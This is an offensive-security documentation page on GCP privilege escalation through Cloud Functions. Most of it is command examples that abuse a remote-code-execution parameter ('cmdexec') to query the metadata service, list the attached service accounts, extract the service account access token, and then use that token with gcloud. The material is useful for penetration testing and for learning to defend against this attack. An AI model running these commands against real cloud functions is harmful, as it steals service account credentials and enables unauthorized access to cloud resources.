> For the complete documentation index, see [llms.txt](https://www.techwithtyler.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.techwithtyler.dev/cloud-security/gcp/gcp-offensive-security/gcp-privilege-escalation/cloud-functions.md).

# Cloud Functions

## Metadata Service

* Cloud Functions can have Service Accounts attached to provide permissions to GCP resources much like AWS IAM Roles attached to EC2 and Lambda
* If we can get Remote Code Execution (RCE) or exploit a Server-Side Request Forgery (SSRF), we can query the metadata service and obtain the credential associated with the Service Account

{% code overflow="wrap" %}

```zsh
## Check for attached Service Accounts
curl -G 'https://<CLOUD_FUNCTION_URL>' --data-urlencode 'cmdexec=curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/'

default/
<ATTACHED_SERVICE_ACCOUNT>/
```

{% endcode %}

{% code overflow="wrap" %}

```zsh
## Get credentials 
curl -G 'https://<CLOUD_FUNCTION_URL>' --data-urlencode 'cmdexec=curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | python3 -c "import sys,json; print(json.load(sys.stdin)[\"access_token\"])"'

<TOKEN>
```

{% endcode %}

{% code overflow="wrap" %}

```zsh
## We can then use the token with gcloud
export CLOUDSDK_AUTH_ACCESS_TOKEN="<TOKEN>"
gcloud ... 
```

{% endcode %}

***